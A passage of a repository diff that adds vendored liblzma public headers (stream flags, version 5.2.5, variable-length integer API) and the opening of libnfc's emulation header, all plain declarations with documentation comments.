* that are likely to be often compressed with LZMA1 or LZMA2.
|
||||||
|
*/
|
||||||
|
uint32_t pb;
|
||||||
|
# define LZMA_PB_MIN 0
|
||||||
|
# define LZMA_PB_MAX 4
|
||||||
|
# define LZMA_PB_DEFAULT 2
|
||||||
|
|
||||||
|
/** Compression mode */
|
||||||
|
lzma_mode mode;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Nice length of a match
|
||||||
|
*
|
||||||
|
* This determines how many bytes the encoder compares from the match
|
||||||
|
* candidates when looking for the best match. Once a match of at
|
||||||
|
* least nice_len bytes long is found, the encoder stops looking for
|
||||||
|
* better candidates and encodes the match. (Naturally, if the found
|
||||||
|
* match is actually longer than nice_len, the actual length is
|
||||||
|
* encoded; it's not truncated to nice_len.)
|
||||||
|
*
|
||||||
|
* Bigger values usually increase the compression ratio and
|
||||||
|
* compression time. For most files, 32 to 128 is a good value,
|
||||||
|
* which gives very good compression ratio at good speed.
|
||||||
|
*
|
||||||
|
* The exact minimum value depends on the match finder. The maximum
|
||||||
|
* is 273, which is the maximum length of a match that LZMA1 and
|
||||||
|
* LZMA2 can encode.
|
||||||
|
*/
|
||||||
|
uint32_t nice_len;
|
||||||
|
|
||||||
|
/** Match finder ID */
|
||||||
|
lzma_match_finder mf;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Maximum search depth in the match finder
|
||||||
|
*
|
||||||
|
* For every input byte, match finder searches through the hash chain
|
||||||
|
* or binary tree in a loop, each iteration going one step deeper in
|
||||||
|
* the chain or tree. The searching stops if
|
||||||
|
* - a match of at least nice_len bytes long is found;
|
||||||
|
* - all match candidates from the hash chain or binary tree have
|
||||||
|
* been checked; or
|
||||||
|
* - maximum search depth is reached.
|
||||||
|
*
|
||||||
|
* Maximum search depth is needed to prevent the match finder from
|
||||||
|
* wasting too much time in case there are lots of short match
|
||||||
|
* candidates. On the other hand, stopping the search before all
|
||||||
|
* candidates have been checked can reduce compression ratio.
|
||||||
|
*
|
||||||
|
* Setting depth to zero tells liblzma to use an automatic default
|
||||||
|
* value, that depends on the selected match finder and nice_len.
|
||||||
|
* The default is in the range [4, 200] or so (it may vary between
|
||||||
|
* liblzma versions).
|
||||||
|
*
|
||||||
|
* Using a bigger depth value than the default can increase
|
||||||
|
* compression ratio in some cases. There is no strict maximum value,
|
||||||
|
* but high values (thousands or millions) should be used with care:
|
||||||
|
* the encoder could remain fast enough with typical input, but
|
||||||
|
* malicious input could cause the match finder to slow down
|
||||||
|
* dramatically, possibly creating a denial of service attack.
|
||||||
|
*/
|
||||||
|
uint32_t depth;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Reserved space to allow possible future extensions without
|
||||||
|
* breaking the ABI. You should not touch these, because the names
|
||||||
|
* of these variables may change. These are and will never be used
|
||||||
|
* with the currently supported options, so it is safe to leave these
|
||||||
|
* uninitialized.
|
||||||
|
*/
|
||||||
|
uint32_t reserved_int1;
|
||||||
|
uint32_t reserved_int2;
|
||||||
|
uint32_t reserved_int3;
|
||||||
|
uint32_t reserved_int4;
|
||||||
|
uint32_t reserved_int5;
|
||||||
|
uint32_t reserved_int6;
|
||||||
|
uint32_t reserved_int7;
|
||||||
|
uint32_t reserved_int8;
|
||||||
|
lzma_reserved_enum reserved_enum1;
|
||||||
|
lzma_reserved_enum reserved_enum2;
|
||||||
|
lzma_reserved_enum reserved_enum3;
|
||||||
|
lzma_reserved_enum reserved_enum4;
|
||||||
|
void *reserved_ptr1;
|
||||||
|
void *reserved_ptr2;
|
||||||
|
|
||||||
|
} lzma_options_lzma;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Set a compression preset to lzma_options_lzma structure
|
||||||
|
*
|
||||||
|
* 0 is the fastest and 9 is the slowest. These match the switches -0 .. -9
|
||||||
|
* of the xz command line tool. In addition, it is possible to bitwise-or
|
||||||
|
* flags to the preset. Currently only LZMA_PRESET_EXTREME is supported.
|
||||||
|
* The flags are defined in container.h, because the flags are used also
|
||||||
|
* with lzma_easy_encoder().
|
||||||
|
*
|
||||||
|
* The preset values are subject to changes between liblzma versions.
|
||||||
|
*
|
||||||
|
* This function is available only if LZMA1 or LZMA2 encoder has been enabled
|
||||||
|
* when building liblzma.
|
||||||
|
*
|
||||||
|
* \return On success, false is returned. If the preset is not
|
||||||
|
* supported, true is returned.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_bool) lzma_lzma_preset(
|
||||||
|
lzma_options_lzma *options, uint32_t preset) lzma_nothrow;
|
||||||
223
src/include/lzma/stream_flags.h
Normal file
223
src/include/lzma/stream_flags.h
Normal file
@ -0,0 +1,223 @@
|
|||||||
|
/**
|
||||||
|
* \file lzma/stream_flags.h
|
||||||
|
* \brief .xz Stream Header and Stream Footer encoder and decoder
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Author: Lasse Collin
|
||||||
|
*
|
||||||
|
* This file has been put into the public domain.
|
||||||
|
* You can do whatever you want with this file.
|
||||||
|
*
|
||||||
|
* See ../lzma.h for information about liblzma as a whole.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef LZMA_H_INTERNAL
|
||||||
|
# error Never include this file directly. Use <lzma.h> instead.
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Size of Stream Header and Stream Footer
|
||||||
|
*
|
||||||
|
* Stream Header and Stream Footer have the same size and they are not
|
||||||
|
* going to change even if a newer version of the .xz file format is
|
||||||
|
* developed in future.
|
||||||
|
*/
|
||||||
|
#define LZMA_STREAM_HEADER_SIZE 12
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Options for encoding/decoding Stream Header and Stream Footer
|
||||||
|
*/
|
||||||
|
typedef struct {
|
||||||
|
/**
|
||||||
|
* \brief Stream Flags format version
|
||||||
|
*
|
||||||
|
* To prevent API and ABI breakages if new features are needed in
|
||||||
|
* Stream Header or Stream Footer, a version number is used to
|
||||||
|
* indicate which fields in this structure are in use. For now,
|
||||||
|
* version must always be zero. With non-zero version, the
|
||||||
|
* lzma_stream_header_encode() and lzma_stream_footer_encode()
|
||||||
|
* will return LZMA_OPTIONS_ERROR.
|
||||||
|
*
|
||||||
|
* lzma_stream_header_decode() and lzma_stream_footer_decode()
|
||||||
|
* will always set this to the lowest value that supports all the
|
||||||
|
* features indicated by the Stream Flags field. The application
|
||||||
|
* must check that the version number set by the decoding functions
|
||||||
|
* is supported by the application. Otherwise it is possible that
|
||||||
|
* the application will decode the Stream incorrectly.
|
||||||
|
*/
|
||||||
|
uint32_t version;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Backward Size
|
||||||
|
*
|
||||||
|
* Backward Size must be a multiple of four bytes. In this Stream
|
||||||
|
* format version, Backward Size is the size of the Index field.
|
||||||
|
*
|
||||||
|
* Backward Size isn't actually part of the Stream Flags field, but
|
||||||
|
* it is convenient to include in this structure anyway. Backward
|
||||||
|
* Size is present only in the Stream Footer. There is no need to
|
||||||
|
* initialize backward_size when encoding Stream Header.
|
||||||
|
*
|
||||||
|
* lzma_stream_header_decode() always sets backward_size to
|
||||||
|
* LZMA_VLI_UNKNOWN so that it is convenient to use
|
||||||
|
* lzma_stream_flags_compare() when both Stream Header and Stream
|
||||||
|
* Footer have been decoded.
|
||||||
|
*/
|
||||||
|
lzma_vli backward_size;
|
||||||
|
# define LZMA_BACKWARD_SIZE_MIN 4
|
||||||
|
# define LZMA_BACKWARD_SIZE_MAX (LZMA_VLI_C(1) << 34)
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Check ID
|
||||||
|
*
|
||||||
|
* This indicates the type of the integrity check calculated from
|
||||||
|
* uncompressed data.
|
||||||
|
*/
|
||||||
|
lzma_check check;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Reserved space to allow possible future extensions without
|
||||||
|
* breaking the ABI. You should not touch these, because the
|
||||||
|
* names of these variables may change.
|
||||||
|
*
|
||||||
|
* (We will never be able to use all of these since Stream Flags
|
||||||
|
* is just two bytes plus Backward Size of four bytes. But it's
|
||||||
|
* nice to have the proper types when they are needed.)
|
||||||
|
*/
|
||||||
|
lzma_reserved_enum reserved_enum1;
|
||||||
|
lzma_reserved_enum reserved_enum2;
|
||||||
|
lzma_reserved_enum reserved_enum3;
|
||||||
|
lzma_reserved_enum reserved_enum4;
|
||||||
|
lzma_bool reserved_bool1;
|
||||||
|
lzma_bool reserved_bool2;
|
||||||
|
lzma_bool reserved_bool3;
|
||||||
|
lzma_bool reserved_bool4;
|
||||||
|
lzma_bool reserved_bool5;
|
||||||
|
lzma_bool reserved_bool6;
|
||||||
|
lzma_bool reserved_bool7;
|
||||||
|
lzma_bool reserved_bool8;
|
||||||
|
uint32_t reserved_int1;
|
||||||
|
uint32_t reserved_int2;
|
||||||
|
|
||||||
|
} lzma_stream_flags;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Encode Stream Header
|
||||||
|
*
|
||||||
|
* \param options Stream Header options to be encoded.
|
||||||
|
* options->backward_size is ignored and doesn't
|
||||||
|
* need to be initialized.
|
||||||
|
* \param out Beginning of the output buffer of
|
||||||
|
* LZMA_STREAM_HEADER_SIZE bytes.
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: Encoding was successful.
|
||||||
|
* - LZMA_OPTIONS_ERROR: options->version is not supported by
|
||||||
|
* this liblzma version.
|
||||||
|
* - LZMA_PROG_ERROR: Invalid options.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_stream_header_encode(
|
||||||
|
const lzma_stream_flags *options, uint8_t *out)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Encode Stream Footer
|
||||||
|
*
|
||||||
|
* \param options Stream Footer options to be encoded.
|
||||||
|
* \param out Beginning of the output buffer of
|
||||||
|
* LZMA_STREAM_HEADER_SIZE bytes.
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: Encoding was successful.
|
||||||
|
* - LZMA_OPTIONS_ERROR: options->version is not supported by
|
||||||
|
* this liblzma version.
|
||||||
|
* - LZMA_PROG_ERROR: Invalid options.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_stream_footer_encode(
|
||||||
|
const lzma_stream_flags *options, uint8_t *out)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Decode Stream Header
|
||||||
|
*
|
||||||
|
* \param options Target for the decoded Stream Header options.
|
||||||
|
* \param in Beginning of the input buffer of
|
||||||
|
* LZMA_STREAM_HEADER_SIZE bytes.
|
||||||
|
*
|
||||||
|
* options->backward_size is always set to LZMA_VLI_UNKNOWN. This is to
|
||||||
|
* help comparing Stream Flags from Stream Header and Stream Footer with
|
||||||
|
* lzma_stream_flags_compare().
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: Decoding was successful.
|
||||||
|
* - LZMA_FORMAT_ERROR: Magic bytes don't match, thus the given
|
||||||
|
* buffer cannot be Stream Header.
|
||||||
|
* - LZMA_DATA_ERROR: CRC32 doesn't match, thus the header
|
||||||
|
* is corrupt.
|
||||||
|
* - LZMA_OPTIONS_ERROR: Unsupported options are present
|
||||||
|
* in the header.
|
||||||
|
*
|
||||||
|
* \note When decoding .xz files that contain multiple Streams, it may
|
||||||
|
* make sense to print "file format not recognized" only if
|
||||||
|
* decoding of the Stream Header of the _first_ Stream gives
|
||||||
|
* LZMA_FORMAT_ERROR. If non-first Stream Header gives
|
||||||
|
* LZMA_FORMAT_ERROR, the message used for LZMA_DATA_ERROR is
|
||||||
|
* probably more appropriate.
|
||||||
|
*
|
||||||
|
* For example, Stream decoder in liblzma uses LZMA_DATA_ERROR if
|
||||||
|
* LZMA_FORMAT_ERROR is returned by lzma_stream_header_decode()
|
||||||
|
* when decoding non-first Stream.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_stream_header_decode(
|
||||||
|
lzma_stream_flags *options, const uint8_t *in)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Decode Stream Footer
|
||||||
|
*
|
||||||
|
* \param options Target for the decoded Stream Header options.
|
||||||
|
* \param in Beginning of the input buffer of
|
||||||
|
* LZMA_STREAM_HEADER_SIZE bytes.
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: Decoding was successful.
|
||||||
|
* - LZMA_FORMAT_ERROR: Magic bytes don't match, thus the given
|
||||||
|
* buffer cannot be Stream Footer.
|
||||||
|
* - LZMA_DATA_ERROR: CRC32 doesn't match, thus the Stream Footer
|
||||||
|
* is corrupt.
|
||||||
|
* - LZMA_OPTIONS_ERROR: Unsupported options are present
|
||||||
|
* in Stream Footer.
|
||||||
|
*
|
||||||
|
* \note If Stream Header was already decoded successfully, but
|
||||||
|
* decoding Stream Footer returns LZMA_FORMAT_ERROR, the
|
||||||
|
* application should probably report some other error message
|
||||||
|
* than "file format not recognized", since the file more likely
|
||||||
|
* is corrupt (possibly truncated). Stream decoder in liblzma
|
||||||
|
* uses LZMA_DATA_ERROR in this situation.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_stream_footer_decode(
|
||||||
|
lzma_stream_flags *options, const uint8_t *in)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Compare two lzma_stream_flags structures
|
||||||
|
*
|
||||||
|
* backward_size values are compared only if both are not
|
||||||
|
* LZMA_VLI_UNKNOWN.
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: Both are equal. If either had backward_size set
|
||||||
|
* to LZMA_VLI_UNKNOWN, backward_size values were not
|
||||||
|
* compared or validated.
|
||||||
|
* - LZMA_DATA_ERROR: The structures differ.
|
||||||
|
* - LZMA_OPTIONS_ERROR: version in either structure is greater
|
||||||
|
* than the maximum supported version (currently zero).
|
||||||
|
* - LZMA_PROG_ERROR: Invalid value, e.g. invalid check or
|
||||||
|
* backward_size.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_stream_flags_compare(
|
||||||
|
const lzma_stream_flags *a, const lzma_stream_flags *b)
|
||||||
|
lzma_nothrow lzma_attr_pure;
|
||||||
121
src/include/lzma/version.h
Normal file
121
src/include/lzma/version.h
Normal file
@ -0,0 +1,121 @@
|
|||||||
|
/**
|
||||||
|
* \file lzma/version.h
|
||||||
|
* \brief Version number
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Author: Lasse Collin
|
||||||
|
*
|
||||||
|
* This file has been put into the public domain.
|
||||||
|
* You can do whatever you want with this file.
|
||||||
|
*
|
||||||
|
* See ../lzma.h for information about liblzma as a whole.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef LZMA_H_INTERNAL
|
||||||
|
# error Never include this file directly. Use <lzma.h> instead.
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Version number split into components
|
||||||
|
*/
|
||||||
|
#define LZMA_VERSION_MAJOR 5
|
||||||
|
#define LZMA_VERSION_MINOR 2
|
||||||
|
#define LZMA_VERSION_PATCH 5
|
||||||
|
#define LZMA_VERSION_STABILITY LZMA_VERSION_STABILITY_STABLE
|
||||||
|
|
||||||
|
#ifndef LZMA_VERSION_COMMIT
|
||||||
|
# define LZMA_VERSION_COMMIT ""
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Map symbolic stability levels to integers.
|
||||||
|
*/
|
||||||
|
#define LZMA_VERSION_STABILITY_ALPHA 0
|
||||||
|
#define LZMA_VERSION_STABILITY_BETA 1
|
||||||
|
#define LZMA_VERSION_STABILITY_STABLE 2
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Compile-time version number
|
||||||
|
*
|
||||||
|
* The version number is of format xyyyzzzs where
|
||||||
|
* - x = major
|
||||||
|
* - yyy = minor
|
||||||
|
* - zzz = revision
|
||||||
|
* - s indicates stability: 0 = alpha, 1 = beta, 2 = stable
|
||||||
|
*
|
||||||
|
* The same xyyyzzz triplet is never reused with different stability levels.
|
||||||
|
* For example, if 5.1.0alpha has been released, there will never be 5.1.0beta
|
||||||
|
* or 5.1.0 stable.
|
||||||
|
*
|
||||||
|
* \note The version number of liblzma has nothing to with
|
||||||
|
* the version number of Igor Pavlov's LZMA SDK.
|
||||||
|
*/
|
||||||
|
#define LZMA_VERSION (LZMA_VERSION_MAJOR * UINT32_C(10000000) \
|
||||||
|
+ LZMA_VERSION_MINOR * UINT32_C(10000) \
|
||||||
|
+ LZMA_VERSION_PATCH * UINT32_C(10) \
|
||||||
|
+ LZMA_VERSION_STABILITY)
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Macros to construct the compile-time version string
|
||||||
|
*/
|
||||||
|
#if LZMA_VERSION_STABILITY == LZMA_VERSION_STABILITY_ALPHA
|
||||||
|
# define LZMA_VERSION_STABILITY_STRING "alpha"
|
||||||
|
#elif LZMA_VERSION_STABILITY == LZMA_VERSION_STABILITY_BETA
|
||||||
|
# define LZMA_VERSION_STABILITY_STRING "beta"
|
||||||
|
#elif LZMA_VERSION_STABILITY == LZMA_VERSION_STABILITY_STABLE
|
||||||
|
# define LZMA_VERSION_STABILITY_STRING ""
|
||||||
|
#else
|
||||||
|
# error Incorrect LZMA_VERSION_STABILITY
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define LZMA_VERSION_STRING_C_(major, minor, patch, stability, commit) \
|
||||||
|
#major "." #minor "." #patch stability commit
|
||||||
|
|
||||||
|
#define LZMA_VERSION_STRING_C(major, minor, patch, stability, commit) \
|
||||||
|
LZMA_VERSION_STRING_C_(major, minor, patch, stability, commit)
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Compile-time version as a string
|
||||||
|
*
|
||||||
|
* This can be for example "4.999.5alpha", "4.999.8beta", or "5.0.0" (stable
|
||||||
|
* versions don't have any "stable" suffix). In future, a snapshot built
|
||||||
|
* from source code repository may include an additional suffix, for example
|
||||||
|
* "4.999.8beta-21-g1d92". The commit ID won't be available in numeric form
|
||||||
|
* in LZMA_VERSION macro.
|
||||||
|
*/
|
||||||
|
#define LZMA_VERSION_STRING LZMA_VERSION_STRING_C( \
|
||||||
|
LZMA_VERSION_MAJOR, LZMA_VERSION_MINOR, \
|
||||||
|
LZMA_VERSION_PATCH, LZMA_VERSION_STABILITY_STRING, \
|
||||||
|
LZMA_VERSION_COMMIT)
|
||||||
|
|
||||||
|
|
||||||
|
/* #ifndef is needed for use with windres (MinGW or Cygwin). */
|
||||||
|
#ifndef LZMA_H_INTERNAL_RC
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Run-time version number as an integer
|
||||||
|
*
|
||||||
|
* Return the value of LZMA_VERSION macro at the compile time of liblzma.
|
||||||
|
* This allows the application to compare if it was built against the same,
|
||||||
|
* older, or newer version of liblzma that is currently running.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(uint32_t) lzma_version_number(void)
|
||||||
|
lzma_nothrow lzma_attr_const;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Run-time version as a string
|
||||||
|
*
|
||||||
|
* This function may be useful if you want to display which version of
|
||||||
|
* liblzma your application is currently using.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(const char *) lzma_version_string(void)
|
||||||
|
lzma_nothrow lzma_attr_const;
|
||||||
|
|
||||||
|
#endif
|
||||||
166
src/include/lzma/vli.h
Normal file
166
src/include/lzma/vli.h
Normal file
@ -0,0 +1,166 @@
|
|||||||
|
/**
|
||||||
|
* \file lzma/vli.h
|
||||||
|
* \brief Variable-length integer handling
|
||||||
|
*
|
||||||
|
* In the .xz format, most integers are encoded in a variable-length
|
||||||
|
* representation, which is sometimes called little endian base-128 encoding.
|
||||||
|
* This saves space when smaller values are more likely than bigger values.
|
||||||
|
*
|
||||||
|
* The encoding scheme encodes seven bits to every byte, using minimum
|
||||||
|
* number of bytes required to represent the given value. Encodings that use
|
||||||
|
* non-minimum number of bytes are invalid, thus every integer has exactly
|
||||||
|
* one encoded representation. The maximum number of bits in a VLI is 63,
|
||||||
|
* thus the vli argument must be less than or equal to UINT64_MAX / 2. You
|
||||||
|
* should use LZMA_VLI_MAX for clarity.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Author: Lasse Collin
|
||||||
|
*
|
||||||
|
* This file has been put into the public domain.
|
||||||
|
* You can do whatever you want with this file.
|
||||||
|
*
|
||||||
|
* See ../lzma.h for information about liblzma as a whole.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef LZMA_H_INTERNAL
|
||||||
|
# error Never include this file directly. Use <lzma.h> instead.
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Maximum supported value of a variable-length integer
|
||||||
|
*/
|
||||||
|
#define LZMA_VLI_MAX (UINT64_MAX / 2)
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief VLI value to denote that the value is unknown
|
||||||
|
*/
|
||||||
|
#define LZMA_VLI_UNKNOWN UINT64_MAX
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Maximum supported encoded length of variable length integers
|
||||||
|
*/
|
||||||
|
#define LZMA_VLI_BYTES_MAX 9
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief VLI constant suffix
|
||||||
|
*/
|
||||||
|
#define LZMA_VLI_C(n) UINT64_C(n)
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Variable-length integer type
|
||||||
|
*
|
||||||
|
* Valid VLI values are in the range [0, LZMA_VLI_MAX]. Unknown value is
|
||||||
|
* indicated with LZMA_VLI_UNKNOWN, which is the maximum value of the
|
||||||
|
* underlying integer type.
|
||||||
|
*
|
||||||
|
* lzma_vli will be uint64_t for the foreseeable future. If a bigger size
|
||||||
|
* is needed in the future, it is guaranteed that 2 * LZMA_VLI_MAX will
|
||||||
|
* not overflow lzma_vli. This simplifies integer overflow detection.
|
||||||
|
*/
|
||||||
|
typedef uint64_t lzma_vli;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Validate a variable-length integer
|
||||||
|
*
|
||||||
|
* This is useful to test that application has given acceptable values
|
||||||
|
* for example in the uncompressed_size and compressed_size variables.
|
||||||
|
*
|
||||||
|
* \return True if the integer is representable as VLI or if it
|
||||||
|
* indicates unknown value.
|
||||||
|
*/
|
||||||
|
#define lzma_vli_is_valid(vli) \
|
||||||
|
((vli) <= LZMA_VLI_MAX || (vli) == LZMA_VLI_UNKNOWN)
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Encode a variable-length integer
|
||||||
|
*
|
||||||
|
* This function has two modes: single-call and multi-call. Single-call mode
|
||||||
|
* encodes the whole integer at once; it is an error if the output buffer is
|
||||||
|
* too small. Multi-call mode saves the position in *vli_pos, and thus it is
|
||||||
|
* possible to continue encoding if the buffer becomes full before the whole
|
||||||
|
* integer has been encoded.
|
||||||
|
*
|
||||||
|
* \param vli Integer to be encoded
|
||||||
|
* \param vli_pos How many VLI-encoded bytes have already been written
|
||||||
|
* out. When starting to encode a new integer in
|
||||||
|
* multi-call mode, *vli_pos must be set to zero.
|
||||||
|
* To use single-call encoding, set vli_pos to NULL.
|
||||||
|
* \param out Beginning of the output buffer
|
||||||
|
* \param out_pos The next byte will be written to out[*out_pos].
|
||||||
|
* \param out_size Size of the out buffer; the first byte into
|
||||||
|
* which no data is written to is out[out_size].
|
||||||
|
*
|
||||||
|
* \return Slightly different return values are used in multi-call and
|
||||||
|
* single-call modes.
|
||||||
|
*
|
||||||
|
* Single-call (vli_pos == NULL):
|
||||||
|
* - LZMA_OK: Integer successfully encoded.
|
||||||
|
* - LZMA_PROG_ERROR: Arguments are not sane. This can be due
|
||||||
|
* to too little output space; single-call mode doesn't use
|
||||||
|
* LZMA_BUF_ERROR, since the application should have checked
|
||||||
|
* the encoded size with lzma_vli_size().
|
||||||
|
*
|
||||||
|
* Multi-call (vli_pos != NULL):
|
||||||
|
* - LZMA_OK: So far all OK, but the integer is not
|
||||||
|
* completely written out yet.
|
||||||
|
* - LZMA_STREAM_END: Integer successfully encoded.
|
||||||
|
* - LZMA_BUF_ERROR: No output space was provided.
|
||||||
|
* - LZMA_PROG_ERROR: Arguments are not sane.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_vli_encode(lzma_vli vli, size_t *vli_pos,
|
||||||
|
uint8_t *out, size_t *out_pos, size_t out_size) lzma_nothrow;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Decode a variable-length integer
|
||||||
|
*
|
||||||
|
* Like lzma_vli_encode(), this function has single-call and multi-call modes.
|
||||||
|
*
|
||||||
|
* \param vli Pointer to decoded integer. The decoder will
|
||||||
|
* initialize it to zero when *vli_pos == 0, so
|
||||||
|
* application isn't required to initialize *vli.
|
||||||
|
* \param vli_pos How many bytes have already been decoded. When
|
||||||
|
* starting to decode a new integer in multi-call
|
||||||
|
* mode, *vli_pos must be initialized to zero. To
|
||||||
|
* use single-call decoding, set vli_pos to NULL.
|
||||||
|
* \param in Beginning of the input buffer
|
||||||
|
* \param in_pos The next byte will be read from in[*in_pos].
|
||||||
|
* \param in_size Size of the input buffer; the first byte that
|
||||||
|
* won't be read is in[in_size].
|
||||||
|
*
|
||||||
|
* \return Slightly different return values are used in multi-call and
|
||||||
|
* single-call modes.
|
||||||
|
*
|
||||||
|
* Single-call (vli_pos == NULL):
|
||||||
|
* - LZMA_OK: Integer successfully decoded.
|
||||||
|
* - LZMA_DATA_ERROR: Integer is corrupt. This includes hitting
|
||||||
|
* the end of the input buffer before the whole integer was
|
||||||
|
* decoded; providing no input at all will use LZMA_DATA_ERROR.
|
||||||
|
* - LZMA_PROG_ERROR: Arguments are not sane.
|
||||||
|
*
|
||||||
|
* Multi-call (vli_pos != NULL):
|
||||||
|
* - LZMA_OK: So far all OK, but the integer is not
|
||||||
|
* completely decoded yet.
|
||||||
|
* - LZMA_STREAM_END: Integer successfully decoded.
|
||||||
|
* - LZMA_DATA_ERROR: Integer is corrupt.
|
||||||
|
* - LZMA_BUF_ERROR: No input was provided.
|
||||||
|
* - LZMA_PROG_ERROR: Arguments are not sane.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_vli_decode(lzma_vli *vli, size_t *vli_pos,
|
||||||
|
const uint8_t *in, size_t *in_pos, size_t in_size)
|
||||||
|
lzma_nothrow;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Get the number of bytes required to encode a VLI
|
||||||
|
*
|
||||||
|
* \return Number of bytes on success (1-9). If vli isn't valid,
|
||||||
|
* zero is returned.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(uint32_t) lzma_vli_size(lzma_vli vli)
|
||||||
|
lzma_nothrow lzma_attr_pure;
|
||||||
71
src/include/nfc/nfc-emulation.h
Normal file
71
src/include/nfc/nfc-emulation.h
Normal file
@ -0,0 +1,71 @@
|
|||||||
|
/*-
|
||||||
|
* Free/Libre Near Field Communication (NFC) library
|
||||||
|
*
|
||||||
|
* Libnfc historical contributors:
|
||||||
|
* Copyright (C) 2009 Roel Verdult
|
||||||
|
* Copyright (C) 2009-2013 Romuald Conty
|
||||||
|
* Copyright (C) 2010-2012 Romain Tartière
|
||||||
|
* Copyright (C) 2010-2013 Philippe Teuwen
|
||||||
|
* Copyright (C) 2012-2013 Ludovic Rousseau
|
||||||
|
* See AUTHORS file for a more comprehensive list of contributors.
|
||||||
|
* Additional contributors of this file:
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU Lesser General Public License as published by the
|
||||||
|
* Free Software Foundation, either version 3 of the License, or (at your
|
||||||
|
* option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful, but WITHOUT
|
||||||
|
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
|
||||||
|
* more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU Lesser General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>
|
||||||
|
*/
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @file nfc-emulation.h
|
||||||
|
* @brief Provide a small API to ease emulation in libnfc
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef __NFC_EMULATION_H__
|
||||||
|
#define __NFC_EMULATION_H__
|
||||||
|
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <nfc/nfc.h>
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif /* __cplusplus */
|
||||||
|
|
||||||
|
struct nfc_emulator;
|
||||||
|
struct nfc_emulation_state_machine;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @struct nfc_emulator
|
||||||
|
* @brief NFC emulator structure
|
||||||
|
*/
|
||||||
|
struct nfc_emulator {
|
||||||
|
nfc_target *target;
|
||||||
|
struct nfc_emulation_state_machine *state_machine;
|
||||||
|
void *user_data;
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @struct nfc_emulation_state_machine
|
||||||
|
* @brief NFC emulation state machine structure
|
||||||
|
*/
|
||||||
|
struct nfc_emulation_state_machine {
|
||||||
|
